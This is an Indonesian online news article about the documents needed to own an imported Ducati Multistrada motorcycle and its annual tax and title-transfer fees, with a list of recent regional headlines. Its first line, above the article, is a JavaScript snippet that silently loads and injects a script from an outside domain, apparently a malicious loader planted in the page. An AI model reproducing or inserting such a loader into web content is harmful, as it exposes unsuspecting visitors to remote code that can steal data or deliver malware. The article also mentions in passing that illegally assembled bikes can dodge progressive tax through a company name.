(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Otomotif

Begini Kelengkapan Dokumen Moge Ducati, Bea Balik Nama Tembus Rp30 Juta


KANALKALIMANTAN.COM – Beberapa orang penasaran apa saja sih kelengkapan dokumen pemilik moge. Pemilik akun Facebook bernama Ranggie Ragatha kini membeberkan semuanya.

Menurut pengalamannya, ternyata terdapat 4 dokumen penting yang wajib dimiliki untuk pemilik moge.

BPKB moge Ducati Multistrada. Foto: Facebook

Ia menceritakan kalau dirinya memiliki moge Ducati Multistrada. Keempat dokumen ketika membeli moge tersebut terdiri dari BPKB, Form A (Surat Keterangan Impor), Faktur Pembelian, dan STNK.

 

 

Baca juga: Satgas Waspada Investasi Setop Operasional 3.365 Pinjol Ilegal

Biasanya, untuk motor lokal hanya terdiri dari 3 surat saja yakni BPKB, STNK, dan Faktur Pembelian. Namun pada moge Ducati Multistrada miliknya tambah satu, yakni Form A.

Ia menceritakan kalau biasanya pihak dealer mengurus semua dokumen tersebut. Namun jika melewati Importir Umum, biasanya mengurus surat-suratnya sendiri.

STNK moge Ducati Multistrada. Foto: Facebook

Form A Ducati Multistrada. Foto: Facebook

Rata-rata butuh waktu beberapa bulan sampai satu tahun hingga semua dokumen keluar. Ia juga menceritakan jika membeli moge ilegal, ternyata beberapa komponen motor dipreteli.

Lalu ketika semua komponen tersebut sudah sampai di Indonesia, barulah dirakit.

Mengenai pajak motor ilegal hasil rakitan sendiri, ternyata bisa diakali dengan menggunakan nama perusahaan dengan alasan agar tidak kena pajak progresif.

Ia pun curhat mengenai pajak tahunan untuk moge Ducati Multistrada. Pajaknya ternyata hanya Rp 4 juta saja lho.

Namun untuk biaya BBN-KB ternyata malah tembus di angka Rp 30 jutaan.

Baca juga: KABAR BAIK. Pasien Sembuh Covid-19 di Banjarbaru Hari Ini Capai 245 Orang

BBN-KB kepanjangannya adalah Bea Balik Nama Kendaraan Bermotor. Ini adalah biaya yang dibebankan untuk perubahan kepemilikan dan pergantian kepemilikan kendaraan dari satu ke pemilik yang lainnya.

Curhatan ini pun viral di media sosial dan mendapatkan respons dari warganet di kolom komentar.

“Liat pajaknya ginjal sya jdi goyang dikit saking kagetnya,” tulis salah seorang warganet.

“Satu tahun pajak = 2 motor mber bekas,” beber warganet lain. (Suara.com)

Editor : kk


Risa

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

11 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

12 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

12 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

19 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

20 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.